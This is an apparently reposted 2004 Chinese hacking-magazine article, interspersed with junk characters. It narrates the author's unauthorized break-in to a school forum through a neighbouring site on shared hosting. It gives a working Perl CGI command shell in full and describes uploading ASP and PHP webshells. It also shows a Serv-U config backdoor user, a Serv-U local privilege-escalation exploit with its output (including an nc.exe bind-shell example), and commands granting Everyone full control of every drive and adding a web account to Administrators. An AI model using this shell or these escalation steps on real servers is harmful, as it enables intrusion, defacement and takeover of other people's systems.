剑走偏锋——灵巧的旁注攻击
2 [/ F( O: V& W6 i4 g" }# ]本文作者:angel4 ]3 Z @) x- G( C% N, R4 R5 N0 A9 o2 A
文章性质:原创( I% V' t" F7 C
发布日期:2004-11-09 $ N! l+ h& @6 t% E
注意:
& e8 W; B3 F1 m& Z: F; {本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。# T# a7 E3 }% |8 B/ ^: Y+ y
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
$ u) [5 H3 `6 i+ t' ?+ s
# G4 y$ D k3 a1 q1 I 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
6 u% u7 P" E( l
/ P, t4 G" w, V 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
. Q4 z8 O# U9 e8 r) Y1 ~0 ^) b4 u" m8 w
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 4 \; L/ E: ?5 U
+ D3 A! O/ i3 H$ _ 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 ! F8 c$ M4 h" `1 k! {
4 |) q: Y% j$ G) Y5 m 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 7 }( Z- l; M* ^
( |4 s8 [7 n: ]* H
没有目的的跳转目录着……
/ p. S+ p' W a+ g' a# O: w# \5 m7 Q8 \
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
8 ~; T: N4 M9 |' s
% I ]6 ~( d3 }) E 结束了吗?不,我试着 FTP 一下: 4 P' Q. E- v( i1 i5 x3 @7 l
4 j+ L) t$ U0 F" L4 y$ d
Microsoft Windows 2000 [Version 5.00.2195]
6 b" g8 N$ N4 I(C) 版权所有 1985-2000 Microsoft Corp.
" i- x% [8 a7 I, s
( w" F. ^1 g7 c: GC:\Documents and Settings\Administrator>ftp www.school.com2 j. x0 K$ A; i5 @& c' I2 p, h, A
Connected to www. school.com.
+ q6 {& |. n8 A( w4 `220 Welcome to FTP Server... : m5 N& @( F- y+ _
User (www.bjtrq.com:(none)): ; E( v3 d5 F8 K5 |
331 User name okay, need password. - Q& z. g7 [: Z$ P5 Q6 ]" C
Password: 5 i) @9 x [8 r, C9 K- q# c I
530 Not logged in. H% a5 f! h+ k! N4 R
Login failed.
& W q5 A. ^( _. S; m( ~ftp> bye
& \& d* ^' X4 s221 Goodbye! * Z/ i/ v! V( G- x9 ~; R& o
- i0 @, m3 [ c6 @7 o& d f/ A' j' f3 o9 s; Z
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
- R( p! s3 @) f3 G4 _
* i3 X5 t" Y0 ]& x/ _7 {7 Z0 N 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 ! k r0 E/ Q8 n$ E( A. v3 I
. b5 N$ J# [5 q; |( \- g0 JApplication Data
e, f& y7 G/ x/ o& U- M; J6 RDocuments3 o/ | W1 I0 S6 o/ k7 S- u
DRM# {4 g- ~% k9 W! g
Favorites* H3 n! z/ x, |. a R. ^ N
Templates) z& h ~; n/ w3 x
「开始」菜单6 B& h& ]. i8 L; x' U5 _: u" ^0 o
桌面/ t9 U: G) f8 X. }" M
. D9 w/ l% ~" v2 x, T! @9 A8 x( S% q% U! O
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
1 `; a8 l) i" J: K) x* \' f7 J$ q# h; g
ActiveState ActivePerl 5.8
|; T* w5 R3 D/ ^% J* o# d# j) h) FAdministrative Tools, a w4 Z9 @$ H# h+ @! e
Deerfield.com
) A' m6 m/ ~' _3 \7 D" B+ WDTemp* e1 @0 Y* J4 A& a
IPSentry
- W! E- d! W) Q3 q/ ]# n$ H' sMBM 5, [5 |* g: P2 O: q+ s# l
NetMeter" Y) X z' |' `: I8 a3 s' [* d5 D
Network ICE
3 H/ {1 O5 Z' h% W- w9 APersits Software AspEmail$ g. @8 L* l) l5 b8 V0 I `
Persits Software AspJpeg
6 a3 l. z; U8 R3 D5 o/ VServ-U FTP Server1 G$ @9 w2 C. H
Symantec Client Security0 ~3 a$ U: c' i6 @: B0 o9 r! J
Windows 优化大师
: r, i$ u# B; u+ q! b9 K. FWinRAR7 b7 [5 V: E$ B$ Q1 W
启动7 n% u5 t& q" g' L# M* F. L1 I0 ]0 W
管理工具
* P0 S3 O6 y% @5 S. y" R附件: q- D* X. C- q- E# c
! Y0 G+ \4 ^1 v: V& W: M
% u. z* f, y4 E$ X$ f1 M
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
. X( B+ p* P; `( [3 I& j
. h/ Y4 J. k4 k. T) U9 T 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: ( |/ |' y9 X1 ~& g8 G, _
/ y2 |, r+ o' Z0 S
User281=angel|1|0
) H+ ?! P/ ?2 Q$ a5 a ; Z7 b5 c$ N2 y4 |& ~7 M" y
4 v1 V; }+ V( I4 C3 m- [4 {
然后加上 7 E# L( m3 H+ z8 Y. x6 r
$ l/ i' x! X- Y* {/ _% q: R
[USER=angel|1]
]5 ?9 C- j% a, B+ LPassword=ng98F85379EA68DBF97BAADCA99B69B8054 r6 }" k% O/ q
HomeDir=D:\websites, n) j' [! |1 f- I
RelPaths=17 d0 S# E% \1 x2 ^& X
TimeOut=600
4 b# v0 @. B+ q( d k0 [Maintenance=System, w( e' ]1 a2 ~# |
Access1=D:\websites|RWAMELCDP
6 |( }1 D# L _0 z' e( e! t0 NSKEYValues=
; K# o' J" g& a! K& Q 1 T3 _1 Q+ @- c$ i
5 N+ l( a) h& d9 `6 l6 F
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… * J% |, u, t% t/ Z. ~! ^! P
6 y3 e4 y. m' h4 C
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
+ R, v; M+ K8 d; Y o7 \& @! m( o* m3 a/ w
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
7 o: t. u/ V. {6 x2 G, U. h9 W5 L7 K% P' R. o
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
9 e' _8 f+ {. P& s% }3 q! p/ b; K7 ?1 ?' ?+ C
#!/usr/bin/perl
8 J. h5 g* o* h9 m$ z% r9 [- kbinmode(STDOUT);5 K0 G$ V: j* f$ K \6 p G# p+ u6 w9 q ^
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
; `1 Y% J/ v) e8 H+ Y( V$_ = $ENV{QUERY_STRING};
1 X1 [! K) p; o5 ^ V" \1 As/%20/ /ig;, }7 C6 V2 Q4 p; ]& h
s/%2f/\//ig;% o% h; X- e) U2 X8 ^% y j- F5 K' S
$execthis = $_;1 B6 v/ z( k0 Y6 j6 g- h
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
6 w& o) `! b1 x$ |open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
0 [! f1 R8 ^3 R, T7 C" Psystem($execthis);, j) c- ^9 y; p3 m8 q* q. M
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);/ Q* C$ E$ n+ o+ P k
close(STDERR);6 l6 o9 ^/ [, [3 u' j; ]/ z+ }
close(STDOUT);
; {6 a; \$ D2 ]7 i& |" T( _+ t: ?exit;7 }: t- M: N: e, F* ~) N# D X
. ?' j& f$ Z! T5 U0 Z, _1 L- l4 O' l% T4 h
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
* |: z. J: |4 u% l* D: X6 o
/ H! G6 X3 A% {0 |2 a7 x. k 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
! ^$ H# Z+ \, t, d7 E( a; M Y
7 `: }" m/ L5 |http://anyhost//cmd.pl?d:\user\bin\su.exe " D! e% u! z, e" b; ?' p
$ r8 ^ d5 H9 t: m' q4 P! T* e( B4 J( P0 G& E$ K- `* G
返回:
2 o3 X- ^5 B# o" t( d, ~8 Z
& H( L2 q. e, p; ?/ i* h, pServ-u >3.x Local Exploit by xiaolu
0 }! B) o. s$ e4 k7 }) O" k$ |; ?1 N. B. w- O
USAGE: serv-u.exe "command" / ]/ \$ E( d- N. ^( x
8 T0 f4 b3 Z4 z, @ ~- J) hExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
0 Q, K- N- P: n9 I: ?
+ C- x2 ?* ?# ?5 L! O! U$ t. w. j& \3 B( X: L7 X
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ' z3 b5 x9 U6 y1 U7 {- p/ V
6 J5 M) P# g2 D# g! F: T, P& W
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" $ u" l b$ a+ q' N
' m! w: f+ s; ?9 W- o' v+ B, Ihttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
" W+ q8 \: W+ B9 w3 w8 I" [9 x5 U* o1 U
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" ) Q: S0 X, R- q- M# ]. I J0 N+ G1 x
1 t" s1 j3 f# e/ s3 x$ Z# p6 B9 B6 a+ ?+ `
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ! R0 g0 c5 z3 }. u8 Q+ Y+ K6 h
3 T% L0 t1 k. T3 o# d, }! r+ e6 l5 c H9 y9 g
返回下面的信息,就表示成功了!!! 4 Z: U w3 x8 A( L! t; I. U6 g$ ?
+ P# d" Z- q3 V# J, S$ C
Serv-u >3.x Local Exploit by xiaolu
8 X6 V' L3 t; @! R; f# K
# G- N3 ^ R4 |$ o<220 Serv-U FTP Server v5.2 for WinSock ready... 5 V- M& y8 x& ?, S& j, i; e
3 _% V7 f: ^ J2 @) o; `>USER LocalAdministrator
& k+ a) @6 f5 ]3 I. y
8 K1 ^' h2 i& B6 [<331 User name okay, need password.
6 c& P) b, p7 i) m" P/ J! w$ Q5 F' D9 I! R8 ]) ^
******************************************************
8 p: _$ ^% x$ @% \" ~, j9 o# E' k+ R4 O- y
>PASS #l@$ak#.lk;0@P 4 L4 Y" J1 t) t/ y
9 Y/ r( C: {. j8 d
<230 User logged in, proceed.
) V3 v4 y. s/ {9 }9 `5 c9 M& L8 X( ~$ ~$ h! |' Y( b
******************************************************
! x% r1 G3 x; [1 J: O5 C. v! f# q! O% _+ i i
>SITE MAINTENANCE , t! c# e" m. x7 @- K, g0 g
: A" j( V4 S: m- w& m' N****************************************************** : M+ l9 O0 X1 _( M1 v
6 g- P1 [1 F8 X- ^0 z
[+] Creating New Domain... # U: o) V- v# W. o
; \- h& P# v0 F' \<200-DomainID=2
' O1 f, K* m6 r! u' C5 z# I3 n! P: j5 v+ S
<220 Domain settings saved # `. Z. Q2 {; j3 Y' a9 F
: _2 c" r! f# i( V3 N+ |******************************************************
i( a' U% l# l5 C- Y/ y6 i; z$ f, V8 e' n
[+] Domain xl:2 Created
4 K l" y9 b4 a" E k. K( ?! j1 r) `9 N1 u' n5 O) X( N5 E
[+] Creating Evil User
! o& Z7 p2 _, H3 y2 O
6 | x! Y8 [" H2 y% X$ G& V' B3 h<200-User=xl
7 }- H1 c( w) K: @) r9 K& q& @/ [, @
200 User settings saved 3 n7 W5 h S( f2 A
& M8 N+ \, I5 z+ c; |' r
****************************************************** {: @2 G' x% U$ a7 R* Q# @! S
9 S! i) S1 m+ }# G# c, H# N. X[+] Now Exploiting...
& I7 g/ y5 k1 n8 S' C) v: E4 C9 F* u l0 m5 ?2 E8 q7 ]3 L y5 t
>USER xl 7 q5 {& o, s0 E4 K
5 O* F7 N+ ^. n1 c
<331 User name okay, need password.
; g* a$ t+ F- w3 o4 ]0 T2 d' g/ G1 ~: }9 i
******************************************************
9 K2 u7 M& q5 N, r/ m& ^/ ^' e8 G
* Y9 [7 C7 @9 F7 `% U. u>PASS 111111 ; d. W/ s" {* `- T
1 V) [, n0 c5 z6 G! M$ W% a: n<230 User logged in, proceed.
# c+ ^" C- V1 [ }3 t3 c& j S3 W, i* Y# X7 E; }
******************************************************
8 B% g7 v. g) {9 M4 {3 P
8 |: p* e; Q; i( V[+] Now Executing: cacls.exe c: /E /T /G everyone:F 5 h. t3 Z( p. A$ c
. e; { R& _; ~7 I
<220 Domain deleted , W# n! R( w- {+ s$ ]2 V1 F
* _. u! X: P- x( T3 v; T R
******************************************************
* C! |+ D9 Z" ^6 R; I8 m
) F$ P) C S1 Y! n& H* u" \4 G; n4 \ r# S: w( {7 M3 i; V4 F
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
( [' I- Y- n2 _. E3 J+ y' G, e% m+ j- @: X9 }+ f
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
+ T9 |9 V z/ ~
' N9 T; s! M2 b# @/ k( ` s3 K! ~0 n* _: t- L$ [8 h4 a
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 & B& _( J" X$ a
# m" v+ O& v* }. g9 N/ I. R: s" y) m 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。$ w( `" ~- p$ [# v
0 Z0 I& S& }/ c+ I. j& y * ]5 B9 `& ~( W% @) ]
|